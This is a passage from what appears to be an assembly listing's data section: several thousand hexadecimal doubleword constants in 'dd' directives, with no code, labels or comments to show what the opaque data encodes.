7AAB910h, 0D375BB02h, 0E25E23E6h dd 71E78100h, 0EF29FFB0h, 0EF04E36h, 0D390D03Eh, 0D8BF0F09h dd 5D33825Fh, 0C02B0029h, 0E697BAF8h, 194125E9h, 0CDADCBEFh dd 0CF654376h, 9560B9E9h, 0AC67DB88h, 387709F4h, 125F0B46h dd 756F55D1h, 90A0F0E0h, 234816ABh, 2908FF60h, 880F0901h dd 0EC0933FFh, 9A4AEDF7h, 7C5D8050h, 9720DCA1h, 0EBF9F49Ah dd 819CA903h, 0D383A048h, 0BB46006Ch, 0E83462C8h, 86BC10A1h dd 0C790AA47h, 4A57912Fh, 0B899B85Fh, 0D6064589h, 0F4B9255h dd 5C2EABFCh, 43EC733Dh, 4B7082BBh, 39AF89C6h, 28B85Fh dd 622717ECh, 0A6F8B429h, 0FA8A5217h, 2C320001h, 742F01BDh dd 2333FB6h, 0BF2E61D9h, 0CAB14076h, 0F6E26EA1h, 0F9053128h dd 6EADE1FFh, 352577B8h, 8CEE5F9h, 612404D3h, 8084F916h dd 0DBA29DB8h, 0EDD28927h, 707C5E24h, 0CFBD0492h, 0AF1241D4h dd 3B0D2AA3h, 206F5911h, 99F7046Ah, 0B427A00h, 0C8DEC450h dd 706958Fh, 0F12034B9h, 0C45F4B04h, 0E08EB67Fh, 2AEC4A0h dd 0D869961Bh, 0A25E2536h, 71797B25h, 9B5C2FE8h, 8BA90156h dd 8F164DE8h, 0D35275C0h, 28D06DA9h, 6E148FFCh, 73E82155h dd 0E5300A41h, 0C19A9747h, 1D010A82h, 0DCBF9000h, 495112ECh dd 0E24FC850h, 3CC22F00h, 1A0208D5h, 308707F2h, 39690F5h dd 0AAAD5938h, 4F07A26Eh, 0C0154294h, 0E0FEBEBFh, 374A0A6Bh dd 0C0D780E2h, 20302C6Dh, 0FE018BF0h, 40E2685Bh, 3073D1D4h dd 90BE6100h, 79425039h, 0F1DFCB01h, 1A58265Ch, 1D6B806Ah dd 2E5B4AC3h, 2782A69Bh, 1A552F9Bh, 4CC2D5D6h, 3555E14Ah dd 801A9112h, 37E83AC4h, 3C9809E7h, 0F0FC8589h, 215467Eh dd 6BE97F9Bh, 0F41E7E02h, 7BAC5596h, 7B25311Ch, 0D96DAF60h dd 0AD6BDAC0h, 9FF724Eh, 7FFAE7B9h, 0BA126264h, 530010EFh dd 3EA8132Dh, 540200CAh, 707CD6BCh, 2C026BFBh, 0FFBF6636h dd 538277D5h, 0EE5511D9h, 0EA65Ch, 0D17887EAh, 8AF63173h dd 0FC5D302h, 5EA9779Bh, 8A58699Eh, 75CB224Bh, 0A082B64Fh dd 0E4A094A5h, 9A1E137Dh, 0F07AA689h, 26E1B352h, 9B2E8D2h dd 0E4AB398Dh, 8504F853h, 610030D5h, 6DDDBF52h, 5B126913h dd 4E5A3B29h, 88C184C3h, 0A44DBCF0h, 4E9E2299h, 72864C0h dd 0E6C558h, 6F71B2ACh, 92F366F0h, 0E1C46B4Bh, 0D6B893ADh dd 551DD809h, 0B572589Eh, 3E80E358h, 0E900A5E1h, 0AAAD4FDFh dd 1AECF6Ch, 92FEBAACh, 21CD8048h, 8FE47BA2h, 0F8965E5Fh dd 0FFBBC040h, 0E1F1EBDh, 0A175BF50h, 49964965h, 5BC4D5B1h dd 0B532C520h, 0FE6FEA85h, 0A700DC7Bh, 685DC780h, 0CA011C54h dd 0E03EBBC2h, 52345126h, 4FE77EABh, 799F03Dh, 5BDBBA97h dd 0F4D42563h, 8568004Bh, 0B535920Eh, 0D61C9246h, 3E4196FEh dd 0D7115128h, 0D8A0D0h, 4C705737h, 52AD5439h, 184268B4h dd 1E60FF66h, 0EC38BCEAh, 3BB5CF5Bh, 8295DB3Bh, 0E249077Fh dd 220B5A34h, 740012E8h, 0A24556E4h, 0D88EB7h, 6CBC6AA5h dd 5CD0AAD9h, 14DD70Bh, 4D84D285h, 618AB55Bh, 9910BD1h dd 6078B65Ch, 46BB0166h, 0F0C680BEh, 5282F61h, 4B549413h dd 0B9DC6012h, 0E94BA105h, 29805B0Fh, 0D79A79C8h, 70954425h dd 3509124Dh, 1830EFF5h, 0E7719529h, 78FE5F02h, 0FD1A09DCh dd 0CB793186h, 0FB4BCD47h, 1E6DD041h, 10E9CA11h, 0A9877A58h dd 0C8BA505Ah, 59054F4Bh, 2FAB4549h, 0C98DE92Ch, 4951F873h dd 2EF15092h, 61F521C2h, 0CF342F5Bh, 32004DF2h, 0A30EAEC1h dd 0CA00D25Bh, 75A6B58Eh, 9764CDE5h, 0DB7E149Ah, 0E6DFA53Ch dd 58F097C0h, 62A7EF9Fh, 0F67E56FFh, 0B6376140h, 5F0C29D9h dd 53F82D6Ah, 14F7054Ah, 4BBD7B7Ch, 0C86BDB23h, 668BC019h dd 823AD914h, 72E7DA4Fh, 65A6884Ah, 54F50C00h, 5C6842D9h dd 0C4C84B0Fh, 0C0CAE973h, 81103F16h, 0E6F80174h, 0FB7C8FB9h dd 0D27B3987h, 70A0AAB6h, 0B51009A2h, 57190AA1h, 2FF9B45Bh dd 94DB6C17h, 5E92F793h, 19A6C720h, 4C2C1809h, 5FD868B5h dd 2CE109D7h, 122FF5E9h, 0B556097Dh, 0CE25E2F4h, 0D4BB944Bh dd 2CFFFC12h, 0E64F42F2h, 60EFF0C4h, 0B58912F8h, 0D63CF8B9h dd 959221ADh, 0CD9B1683h, 0D3F42CE7h, 7DF44813h, 0F59D2723h dd 7F9641E1h, 0C6B38C47h, 0DCFE5C7Bh, 0D2FA7000h, 5009B593h dd 0B8354FF2h, 4060242Dh, 17432560h, 85F02DA4h, 60677652h dd 6A0969DCh, 6116E98Dh, 6FE555C6h, 0D6515A50h, 6B20864h dd 6181B002h, 4926E85Fh dd 0DDB58918h, 9A2B092Ch, 0C01A8815h, 0B4575B46h, 62C19E12h dd 1E8859F2h, 30E4FEB7h, 0E2811C16h, 0ED54017Ch, 8A25508Bh dd 0BDA5E8D8h, 0BD104A9Dh, 8C19BC55h, 7996EB02h, 77F7A6C7h dd 2F2C7F90h, 10ACEC05h, 70AC2D94h, 5FB28D09h, 0B5A74D7Bh dd 16CC02DDh, 0BD5BE96h, 0D69474F0h, 0D3001946h, 623B7FF8h dd 0CC05BF75h, 3123CDC2h, 0D712A082h, 0E5FCE83Ah, 1133C525h dd 9EF84E14h, 60058D4Bh, 0AB08AF34h, 9C6797Eh, 0BE7115B3h dd 50C053E9h, 9B00AF1Ah, 0E66D82D7h, 586CB744h, 0B14A75F5h dd 69DB2FDEh, 86A66480h, 0C80B62D4h, 299F303h, 552EE545h dd 0F59D07E6h, 5084D49Fh, 9EEC2CFh, 0F77312C0h, 11950189h dd 202E90A2h, 7BC9B425h, 3058EC00h, 0EDCB375Ch, 46A10586h dd 0EBAFB750h, 0ADC01DDBh, 39E9B783h, 2AFC8F0Bh, 0D0F57B36h dd 151A77A7h, 440F867h, 0F0A24197h, 0F18AA612h, 289DD809h dd 0AB379F86h, 41D8AA00h, 138507CBh, 0F88B9EE2h, 9D2B8295h dd 0F74B6AC5h, 0BB661FC8h, 8A6AF208h, 2509A4FCh, 0C9816544h dd 536A3EA5h, 0B1011823h, 8C085FEAh, 0BD69987Fh, 3A860955h dd 0DA0DCE7h, 0F1E4D6CCh, 33A55306h, 25EAA66Ch, 58790781h dd 93C9356Bh, 0CC5545F6h, 0ADE00BB2h, 2F73E629h, 0BA181659h dd 0B265B828h, 0AF21AD32h, 51EE5CD1h, 0BBC51452h, 1EA374ACh dd 0AADAC4A8h, 8F545300h, 0E8CFD6E1h, 3102056Ah, 0FE3265BDh dd 1ACF1DCh, 0FB799249h, 2E60C4E2h, 9790CFA4h, 0B90737E4h dd 0BAA6D074h, 0B4ABCC30h, 0DBDC1682h, 2CBC02AAh, 0AEE74F5h dd 0E9D9B70Bh, 71BE5C50h, 267625B0h, 41F0F011h, 0DC459CB3h dd 0E1035613h, 0FDB7D252h, 30ACC159h, 0C432F82Dh, 8E10003Dh dd 64512523h, 3F03D063h, 0FB8B7DEAh, 0AF754090h, 0D8343CBBh dd 84909BCFh, 9BAB2AB8h, 0C31788BBh, 0FDF953BAh, 0F1D74260h dd 0EFCEFCA4h, 0BBC111ADh, 0F22233C7h, 2B65145Eh, 330F6C2h dd 0A8F56AF5h, 982A20C4h, 12F29FBBh, 97EB8005h, 45C15660h dd 59021341h, 0E962EAD6h, 0DC8C0E2Ch, 0C9AB077h, 9107520h dd 71E470E6h, 0C6A890D9h, 9A377309h, 45BB724Bh, 0C93C89BCh dd 0EBB7109h, 0FAD2BAF9h, 0B78BFC28h, 0C1B30713h, 89F99839h dd 0FDA197BFh, 0E3815C20h, 0E976E87h, 0EDE7E0BAh, 370C7ABAh dd 166EC82Bh, 0D16E4529h, 0D1ABEB3Eh, 0A1B58627h, 854F231Ch dd 1F5E83ADh, 0F2B509Bh, 82E5C381h, 5C612F24h, 0AFE9BBDh dd 0E2644469h, 91B456FEh, 20E34A0Dh, 0A35E584Ch, 6ABC5E47h dd 22559DC2h, 15CF9D5Ch, 31657D52h, 1B0CA51Fh, 4ADD38FEh dd 5FA15001h, 0B10DE862h, 5AC2975Ch, 0C06FDFFEh, 1D60A54Fh dd 67C0F1FCh, 96ECB945h, 0B58BC40Ah, 5E85D791h, 1F12820Fh dd 38006CA2h, 6DB872BAh, 4200B154h, 0C5F064D0h, 250C480Eh dd 71815ACEh, 50919D31h, 0D7CBBFDBh, 0C627F825h, 0CF8002BEh dd 875B9DBh, 1C43DD5h, 0C1470880h, 2C52DDE9h, 67E08057h dd 0EACDA93Ah, 25FA773Fh, 0C9C25B34h, 4B700FFBh, 0E7502884h dd 2B492FD2h, 3358C6EEh, 0FCE444B5h, 0EB0B009Dh, 9DC02B2Fh dd 5C00FFB7h, 9B47220Ah, 0C750C00Fh, 0D22B3DBFh, 0EB9FD4EFh dd 0A5252B90h, 0ACF5CF0Ch, 1D465CA9h, 59D4D300h, 452D8A90h dd 993A3712h, 0C47EFAE1h, 4DDBAE6Eh, 36BD8D80h, 56004A30h dd 0DACDAB13h, 4A0DD98Ah, 0EC8CAD88h, 0A1330568h, 9C973E9h dd 23D041D0h, 3955799Ch, 0CF8251BEh, 521747D9h, 0FE6EF75Ch dd 325BF50Eh, 80B0DBE2h, 5E95F8CBh, 0B148325Fh, 2E611769h dd 8874D728h, 0DC5E8A56h, 0E75A7DB8h, 9C10B7C1h, 4C500863h dd 9925683Bh, 0E4498679h, 0A55500D1h, 564BA1C5h, 0E0003532h dd 0C7D0FB17h, 5FFF8F87h, 1766EE1h, 0DFCE2C63h, 29E4F3DAh dd 11C12585h, 8712D5Ch, 0FB9C0114h, 2E5BFC50h, 5F10C228h dd 8016DE04h, 7E6C4BE7h, 0DC14979Eh, 504DAD6Bh, 0C705F78Fh dd 0A77159E6h, 4459CDADh, 2EC28167h, 6C46ECDh, 77342E16h dd 0D3EAB2ABh, 567C318Dh, 0B179524Eh, 9D6E2FC7h, 0F206B23Fh dd 0E0BA7AA1h, 7D8FBF09h, 0F15161h, 0C112F6C9h, 5700428Eh dd 0D477E055h, 976ED1ADh, 150E523h, 0D19BBE84h, 0BBED7EC0h dd 1212D329h, 0D1FCBDCh, 2DAA3312h, 0A90F2D3Ch, 560B927Ah dd 2B5B3FE1h, 9A2AA8DDh, 704D80B4h, 0C65942h, 0ACD5487Dh dd 0BF90EAB7h, 9FECFC09h, 0FE098729h, 88F78190h, 1FBA1275h dd 89BAA6Ah, 0D1842A80h, 0BB011567h, 6F303E36h, 0D4E86C68h dd 0F203BD8Dh, 0E89545BFh, 722F3h, 0EDC2063Ah, 5A79DE17h dd 8DFD585Bh, 724A3209h, 155D0582h, 81B3075h, 560300BDh dd 0CFD3B4DAh, 944B328Fh, 0F92DC39Dh, 6B008EA8h, 0CDCCF251h dd 901E95E5h, 121D4BAEh, 0B2CBB66Dh, 76DF301Ah, 34048A75h dd 0A0E9C2DBh, 45A6B4AAh, 0B19D174Bh, 7429E2DBh, 14732D90h dd 6E181459h, 0E5BD891Fh, 0B11B7B25h, 41020168h, 2E263D73h dd 0D3818370h, 2564E0FFh, 27248912h, 4A818A1Fh, 9F52FA86h dd 60962F69h, 0CE881198h, 2A31007Fh, 0DEF90C29h, 5C1217EBh dd 3B04912Ch, 1580AAE3h, 485FC583h, 81071C96h, 81DC21E7h dd 38D5BD29h, 0C88C4AE9h, 944009BFh, 9D7461E6h, 0C839B750h dd 59871280h, 88D0927Fh, 3A31BF9Fh, 2780806Ah, 8BF6C07Ah dd 0B74F0DD5h, 0A345FCBCh, 0EF8885EBh, 40359460h, 14622C3h dd 0D08C8000h, 1419FBCEh, 82641EEAh, 738225ACh, 0ED5561D7h dd 1B0E16Dh, 0EF72E8CAh, 1DB4982Eh, 0CE25D12h, 9D3C9B93h dd 5D7D5CC9h, 6B40629Ah, 9D880D4Dh, 90194051h, 8090799Dh dd 6A76BF50h, 36FB0936h, 0C0D6F350h, 0FCBE15h, 0C50234Bh dd 1DF58D89h, 0C98852B4h, 95290228h, 0B4742EB5h, 3D0886E8h dd 0B3DE2504h, 71015909h, 1351E905h, 7D1B0E46h, 12C54F09h dd 8F7A2BCh, 75DFBF0Fh, 0A1F860E3h, 5CC2B195h, 8BD428Ch dd 95A6755h, 0BDB043Ch, 0A006FED2h, 80DE0A91h, 59AF9EC7h dd 7C65AB0Ah, 0D3DE78h, 43C6C7D9h, 1BB7816Eh, 9D7CB095h dd 9D2BE9C1h, 810F60B0h, 430FD012h, 0B8006AF2h, 4DC579B4h dd 0AA7FC813h, 5BC7B709h, 0A8E8D961h, 312D2534h, 5EDA4B56h dd 0B105DCE1h, 826CCF1Ah, 3799CEC1h, 20C9827Bh, 0E2A29605h dd 429AED00h, 0A208756Bh, 0B2211C00h, 0B350FED4h, 40965694h dd 30C9AEB4h, 2C50876Eh, 0CD955B7Bh, 601664E0h, 951E3249h dd 1664CDCDh, 0B3A6CB60h, 8495BCACh, 9CEB1762h, 1345E9A8h dd 1C707EF0h, 3135ADh, 9227070Dh, 26026557h, 0C1EC32B7h dd 49415C20h, 807B37DFh, 0A8126788h, 0C2823E7h, 7B2DE35Bh dd 50D26599h, 8A131347h, 7904D22Eh, 0D9AA091Dh, 0A86029BDh dd 140B0466h, 0EBBFA92Ch, 6A3FC48Dh, 0BBDD00A9h, 0E5E49939h dd 0F83B6006h, 895161BFh, 2EF5B57Fh, 0B4BB6570h, 0BE09680h dd 4454B886h, 0E2DA02F6h, 6ADE8BEDh, 1607DCBDh, 0E4E02029h dd 90E3D48Dh, 25E1257Eh, 0C7A36E6Eh, 0A656F8E5h, 30F4C37Eh dd 0FABA9660h, 5B49255h, 26744D82h, 0F9E981BFh, 0F5292B10h dd 21D6086Ah, 1AD95349h, 8CDBBD70h, 19EF870h, 4F8DBB3Dh dd 6F962B75h, 37F9188h, 3752CCC9h, 1EF024F1h, 0DACFE0F8h dd 575BA973h, 0A0002464h, 0DD2BF933h, 1563520h, 36D6A6F4h dd 2E96DE1Bh, 6E2D926Eh, 2312DED6h, 0DAD22BE2h, 0C70C8008h dd 4ED5E003h, 8285B994h, 751612BFh, 0F55099E5h, 0AC403EB2h dd 0E913434Ch, 9F2BAE12h dd 2E0F1280h, 1497D9BDh, 0BB4B4412h, 0CA49F709h, 8114715Ch dd 2C70DBFh, 13132E1Bh, 4AC09ADBh, 966EBE77h, 2B6CC61Ch dd 859D33C5h, 88081EE4h, 0B413F3B0h, 258450CAh, 23077BABh dd 0E9E70414h, 503FB8E3h, 739DC189h, 0D4642E22h, 28082670h dd 89018B0Fh, 6A1857FCh, 0E401E60Dh, 5A627E68h, 0B8FB3469h dd 4E29F84Dh, 0D722B95Fh, 21A03AA6h, 262E2ACCh, 0BA0140CEh dd 61F8A8C0h, 0CD7B50C9h, 0A6122A12h, 28E06CE6h, 1A48C02Eh dd 0C0D12248h, 34D3814Ah, 14693C94h, 801BB710h, 1B91EBF0h dd 0D050D8B3h, 9925C689h, 0E18E4D49h, 2BC4F07Dh, 71BDCE90h dd 6A129705h, 93417661h, 3DAC90C5h, 0DC3C9E74h, 0D6795704h dd 26856117h, 0C220AA89h, 931552A9h, 0A0223454h, 97DC8A08h dd 9D0B0918h, 2545DAB5h, 0EA66FAB7h, 6BF78100h, 0FF25BD67h dd 0DC6994D1h, 2682E600h, 82AB6D6h, 203AB091h, 899D0135h dd 46F85118h, 0B795407Ah, 145981B7h, 30990DAAh, 0D85B828Ch dd 5B17B1FCh, 4F05A390h, 9A007BB8h, 6222C785h, 0B3018AD6h dd 0C0A8E99h, 0E7BE790h, 0F6D2DFFAh, 5F10E247h, 0F9AEE000h dd 24BA5C18h, 0E25B5095h, 0C2BCB111h, 205CC0E9h, 4D21D071h dd 3F6F6Eh, 0D4CFF2D2h, 14936EA5h, 0BF379631h, 0DE3EF926h dd 7BC0D509h, 0AF2873F8h, 832D1135h, 8BBA3039h, 11858C52h dd 5F38E3BDh, 0DE263EDDh, 4E7BA523h, 32C6E70h, 0E891062Bh dd 0B2C40254h, 858C0093h, 7F4471D9h, 34519297h, 0AC81066Dh dd 0DBBBD23Bh, 73D589D7h, 0DF800F2Eh, 2CE3B2h, 0E35DBB57h dd 955F4D65h, 2A453FCFh, 300502C1h, 1512BC72h, 0A2F8AC18h dd 0FD522422h, 5AB038DEh, 0BFE25620h, 0BA8D001Ah, 670FC175h dd 0F1779633h, 41FBD609h, 6890D504h, 0E7008877h, 3B97D943h dd 500F111Ah, 4B5B768Ch, 0AA63945Fh, 18ADCE12h, 63A5DD88h dd 16FBF457h, 82D1AD9Bh, 0D6F78B60h, 6DDE498Dh, 54F86280h dd 7AAB5692h, 0ECFB05A6h, 8561E3D8h, 1D8CAEAAh, 12DB9C50h dd 316DE05Fh, 202D8D12h, 0C09F28B8h, 245FA0F8h, 0E3F5C82Bh dd 0D18B4FC8h, 8D10E69Ah, 0C84A1921h, 0BD10236Fh, 0D09F08F9h dd 926C6F33h, 39EC5FABh, 30A80421h, 0C6030525h, 11174368h dd 4F220B8Dh, 0A534097Ah, 0A2116917h, 26AE4A91h, 244B6976h dd 8B2E7298h, 59953637h, 1B09A5F5h, 0E6F9F5FEh, 0AB65BB80h dd 6519BD03h, 955913h, 97CF816Ch, 384BE8F7h, 2F627E98h dd 7FDB4908h, 0A088DB79h, 0C626025Dh, 0F38EF126h, 26F4E4BBh dd 9A0D75AEh, 0BCCEDC24h, 7CF3528Dh, 83CB90Bh, 0F49256h dd 0B26CDFD0h, 991B0731h, 9261A628h, 252AF409h, 946A700Ch dd 0D90CDCE2h, 72E5C521h, 254B9AB9h, 0F82108E1h, 7EFCB04Eh dd 753F926Eh, 111A155Ch, 0A7C05123h, 0B3255E13h, 513E5B17h dd 253E1816h, 4310F5D8h, 2C00FAE2h, 0D48B6717h, 9DA57D1h dd 1501B5FBh, 9D618D5Ch, 121E25D5h, 0A8FCCBB3h, 33CC5880h dd 700CA65h, 0CF4C7EAAh, 0B553F20Eh, 311D4182h, 0AAEA6F83h dd 3D5F61D1h, 1AAB80Ah, 0A3AD7E6Dh, 0DDECDE80h, 8D232EF5h dd 0CCAFAD0Fh, 3E25CB52h, 6471CD96h, 5E9651Ah, 0CC381D09h dd 11DDF102h, 28C7CE55h, 53F820Fh, 769AFEBFh, 3E2FAF27h dd 0C8ADB059h, 51738B92h, 0BAD7ECC1h, 126AF8B2h, 8897B2F1h dd 0F781807Bh, 1D491CFCh, 0E01EEFB5h, 26FFB6A5h, 0BD894904h dd 51001C99h, 5B9CDB80h, 0BF9D1897h, 17570431h, 0E9E1FF7Fh dd 12DBB830h, 3022EB0Bh, 7C03836Ah, 80C2EF39h, 63404F3Ch dd 5D64258Ch, 62560F7h, 0F2189EC7h, 12F4BB7Dh, 0E273EE74h dd 3FB849Dh, 8085DEBAh, 0FBBBE9Eh, 76BC250Bh, 96159FC5h dd 25A7E82Fh, 0E23133D1h, 0D9B920FBh, 51BD0497h, 2275E681h dd 0C495AA05h, 3F80CDE8h, 0EA890D1Ah, 9D270CB5h, 5822975Bh dd 3D5D0129h, 0B1F80037h, 0C806E0BEh, 40018D80h, 614AF920h dd 0E433D88Dh, 0D8CFD14Fh, 0A6E62A03h, 0DF73AC4Eh, 18195D08h dd 0BB50EE90h, 200B3B0Fh, 6AF82456h, 30F20DF6h, 0FA003E74h dd 7092D281h, 2C2AFB27h, 804A0FEAh, 0D8304789h, 967B4A87h dd 0BE3C10D8h, 10B770F6h, 2F1E13h, 1534356Eh, 35FEB06h dd 7A240DBEh, 5998F74Bh, 0AA01389Bh, 8D4A41C9h, 0E171D88Bh dd 25BD9020h, 28FE2BF5h, 0B921852h, 121259Dh, 0F0ED1ACEh dd 279D3041h, 0CD090265h, 0A02E0D9h, 0AD0427E8h, 0ACB37CD2h dd 4B000CA2h, 489C3A60h, 0F9008B7Ah, 7DCDF413h, 7A7612DDh dd 6F852767h, 10D80BDBh, 3C281683h, 4EC9027Bh, 0CED5BFCDh dd 931201Ah, 5CBDB32Dh, 558DC11Ch, 0B3CB2A17h, 0C7F89A5Bh dd 57550994h, 0F34BB517h, 40B95C5Bh, 39FC54C2h, 0A0A2A400h dd 473FA352h, 0E3800B6Eh, 405C5FECh, 4976CF84h, 92B264h dd 28F70DF0h, 34D4C0h, 98405E2Ah, 92A0E23Fh, 5C180A2Dh dd 0E296924Dh, 0CAEC0335h, 0A0E7C998h, 565C01h, 0B638D0Dh dd 8929A1F3h, 505BEE09h, 43D95460h, 42B09F4Ch, 0AB0E336Ah dd 40D68EADh, 0D880CDC9h, 8BE31317h, 9967EE40h, 9661DA90h dd 0D14F3ABFh, 0CED045ADh, 16677997h, 0F97BAB6Fh, 0C878680Eh dd 0D57A5B61h, 0E7442F66h, 1A12178Dh, 80D58A7Dh, 0CA79A45Fh dd 0F422C466h, 9354B8E4h, 0CDC0B0DBh, 0E83BFD01h, 0E153BB04h dd 21E85F71h, 66ADD380h, 0D12DF6D6h, 0A37DC81h, 0AC6539h dd 318968B9h, 5B976138h, 2AEC7886h, 6C88C616h, 4266B832h dd 0FB3557ACh, 0ED891491h, 0BDC1CB54h, 0C104334Dh, 2A5FFA1Fh dd 0C2F003E6h, 3E4B0B60h, 0CD40868Bh, 0CA744AE6h, 230C37DBh dd 900B8766h, 0FC1C44A1h, 0DDC25995h, 50D87325h, 4D7D5C06h dd 7A38CB0Bh, 0A04E4403h, 978A1A29h, 445A514h, 0EE40A800h dd 9AB32923h, 8DF066ACh, 3BFC1CAAh, 51546D6h, 8C0FACD8h dd 47EC4C9h, 16310141h, 97613ACCh, 0A7339019h, 507F09D6h dd 0F693BCB6h, 0A5ABEB04h, 0BBA4C5Bh, 165732C2h, 6E35BF19h dd 20D5230Eh, 689F9BB7h, 9D292760h, 50AD1CF6h, 681E41ADh dd 181110FAh, 61E2502Fh, 7EB7D5h, 81207C2h, 750EE4E9h dd 73559D09h, 0C2A7A3FCh, 657528A5h, 0DAB70A14h, 0BD31C0A9h dd 3A9711B9h, 0A50A795Fh, 0BB054D66h, 2E9CAB49h, 0CAF5DAAAh dd 34C1CC1Ah, 3C89B16Ch, 755294Ch, 33D1604Eh, 975395BDh dd 5EA2C558h, 0C105E94Ah, 615A5B59h, 1245162Eh, 0C3EC8C6Eh dd 0C29C4525h, 0C4B7D52Eh, 12DDF014h, 87AC108Dh, 7DE6BB5h dd 5CA552FAh, 1FA40CB5h, 0D365B502h, 0FED4A5AEh, 0BE0C0C18h dd 0C7FE8815h, 4CC41BF6h, 0CAAAD98Bh, 7DB9A08Ch, 0DFB50091h dd 0B2AA33BBh, 88BCF1B7h, 86716Bh, 3EBE470Fh, 49F2380h dd 5F0B2BC0h, 0DA44A456h, 6581BF00h, 64B54D75h, 2B561E93h dd 7641E5BDh, 0E244365Bh, 16C5301Ah, 18331D3Fh, 3592FDE1h dd 0B76EB52Ah, 807D599Fh, 6672709Dh, 940033EDh, 4B423A86h dd 62F9BAB9h, 61D6C0CCh, 49518F5Ch, 0C0D49E6Ah, 0FF763AD2h dd 120672E6h, 8D118CEFh, 173C28D9h, 0A407F5C7h, 579B5650h dd 29BA4198h, 4FD99F02h, 7E965F61h, 0F211126Fh, 699D8225h dd 0B3BAD505h, 14B3ECF7h, 1C1E68BBh, 0A04BE74Fh, 9A97C25h dd 8A02186Fh, 1E126076h, 0BC4E55E7h, 3BB2D2D8h, 724F6E8Bh dd 2885E264h, 0BF6D74AAh, 0FF3DAF6Ah, 0F88AFD84h, 61DEEEC6h dd 0C9009A89h, 2BEE6F0Fh, 9A34827h, 0E95E59CBh, 628079B5h dd 2DFF0374h, 31851029h dd 0B4BB000Ah, 0E9664B8Ch, 6D0B97A2h, 4DC707Ch, 9D233553h dd 928AB991h, 87E59ABAh, 0D620A0EEh, 2532D5AEh, 689047B2h dd 61002B0Dh, 80E62188h, 518D3Bh, 0D74FA99Ch, 573053C6h dd 0FC25EBF8h, 9C90CE5Bh, 5E09D496h, 7F8E0FEDh, 50DA2718h dd 53F9BB04h, 6AA84C63h, 80A8513Eh, 60909752h, 25006A44h dd 5EDB8F2h, 3804846Fh, 0B7FC5B49h, 1978D473h, 2026B852h dd 1131C6Dh, 0B853FDBDh, 0D5816EEDh, 2A4A9AF7h, 0FD807CDEh dd 0FEF42E14h, 51BF6609h, 1234E447h, 47DCC02h, 0AEEF86CDh dd 22E24CDh, 49A9D14Dh, 8218B777h, 0F7E65ED8h, 4402BF84h dd 0C4B85F56h, 83359B4Eh, 1785176Ah, 0D018F9AAh, 0C7509288h dd 60242D73h, 5E185C53h, 0E559610Ch, 557F053h, 6334A2Ah dd 0E842E037h, 4BB047BFh, 92E5F84h, 939BF75Bh, 46A34A4Bh dd 123F292Ch, 0D3FDAD11h, 352BEBF1h, 0BD23BBEFh, 0FD2AE00Ah dd 4B851D16h, 546AC1CAh, 2FF8CB84h, 99096513h, 0CD845FD1h dd 0FACEEA08h, 1517FB4Bh, 0B0E53FB6h, 0F90F1371h, 6E360E4Bh dd 9D29C39Eh, 6A732651h, 0D8B70BDCh, 0D979F929h, 69B08900h dd 2E018B62h, 1303DC13h, 0BB15CC60h, 9D071F04h, 53AE612Ah dd 496FEAEEh, 0C55C7E02h, 84F7FE8Ah, 0B14105Dh, 0E724E512h dd 4E204FE9h, 3A3BEF2h, 0CAC8B30Bh, 0AC8EF6Ch, 5B177A78h dd 90F2A72Bh, 35801838h, 567D1CBEh, 1A7FDB6Ch, 1AE3305Ah dd 2A9D09Fh, 20C886BBh, 0E9C95C54h, 0B081F735h, 0ED21F1AAh dd 0B691303Eh, 380061FBh, 74E65D80h, 1589DE67h, 0A9EFF485h dd 0CBC1349h, 9BE62A09h, 0DA310B9Ch, 0BCB7953Bh, 92811511h dd 1012E82Fh, 17BF8B30h, 0E80BF54Dh, 0E381F0EDh, 4E642666h dd 0DB6A25B3h, 0F6A27Eh, 7BF01AB8h, 10747925h, 3A58BB0Eh dd 6BAFD20Ch, 172300h, 0EB86F72Bh, 0B54B8D29h, 9EFF53A4h dd 5D5CDCCAh, 13CF581Ah, 7AEF23ADh, 7DAA1F26h, 8BD97B02h dd 0C63C5EDAh, 0B71C2BEEh, 562DB033h, 345E2FC3h, 0AD805549h dd 71E41161h, 249798B2h, 0FC49D015h, 49D1678h, 16BD11A7h dd 0BBE1B385h, 1659D44h, 0B7FAB012h, 0E5AC3D4Eh, 24AF2186h dd 2BC15554h, 27BCC84Eh, 0FFD192DFh, 1C892789h, 17FB0A09h dd 0C3815100h, 5FF32926h, 7B60B163h, 2580FBE4h, 3E02DF7h dd 0E921BD33h, 0DFEAB001h, 0A497540Ch, 0E1570B02h, 0E9458ABEh dd 0D5254055h, 0E857A625h, 4FD0D7C7h, 0CF511Eh, 8854BE3Dh dd 83E6A2BAh, 8B59A609h, 2CA9D2B5h, 9285F61h, 167B2511h dd 23042011h, 211221BDh, 0F151FE9h, 7670F9D0h, 8B759550h dd 8612FFDh, 1021268h, 40F99B8Dh, 0ACCF8027h, 89E71897h dd 4972BD8Dh, 7BAB912h, 0B7F160AEh, 8901632Bh, 0CA067250h dd 0B497957Ah, 0B11F8CFCh, 0C5655400h, 0EF22E261h, 5B6600C8h dd 7B2651B7h, 0C9288D43h, 2514FCC2h, 59B85F95h, 61C082CBh dd 0D9F282FCh, 3267D507h, 79DBE9h, 74C8ED8Dh, 0D527C551h dd 0F2D9E7h, 68ADB7Ch, 0D0002092h, 16BD2DB2h, 1E8F6245h dd 85A4892Fh, 0E96F99h, 2AD32119h, 7744A83h, 9ABAF00h dd 917488BEh, 6EF524EEh, 5F6D02D5h, 3755D22Bh, 9B5A037Ah dd 81BC27D0h, 2B084DC5h, 0E64B5A9Fh, 160BA19Ch, 647FE4C8h dd 0EE7C9477h, 18B5F220h, 3B521768h, 0B87CA9F9h, 1284007Dh dd 0D92D9677h, 1095C549h, 98C94EEh, 47AC1104h, 112AB557h dd 23BAC019h, 0B46F77B1h, 0C1BB6057h, 54A278Dh, 0E6D72DBDh dd 8790A0C5h, 5E07027Eh, 9F8E949Bh, 0F20EF9F1h, 336B015Fh dd 0BD2BEFDAh, 0D88F002Ah, 2F78D56Ch, 0BFC21618h, 5335FF3Ah dd 255E2EABh, 15DFC5FCh, 87F898A8h, 0DA0D2504h, 6BC2ACF9h dd 0BD5B50F1h, 1F76E251h, 80234A37h, 0C691BC85h, 0F497D0E5h dd 0B97C6970h, 21301C2h, 39B5E1FFh, 794DDA5h, 0FD850F25h dd 0C380A914h, 81802B95h, 0B89A09DBh, 0C7968EAh, 0FD042642h dd 9B978930h, 805DBF39h, 0C49C56EDh, 2D24A56Ah, 0B9F02A1Fh dd 0C27D26A2h, 839CD568h, 7C201745h, 0CA3A4B62h, 4AD03A06h dd 0ADE83BEDh, 3CB83B00h, 7DA6EDEBh, 92606268h, 70091D75h 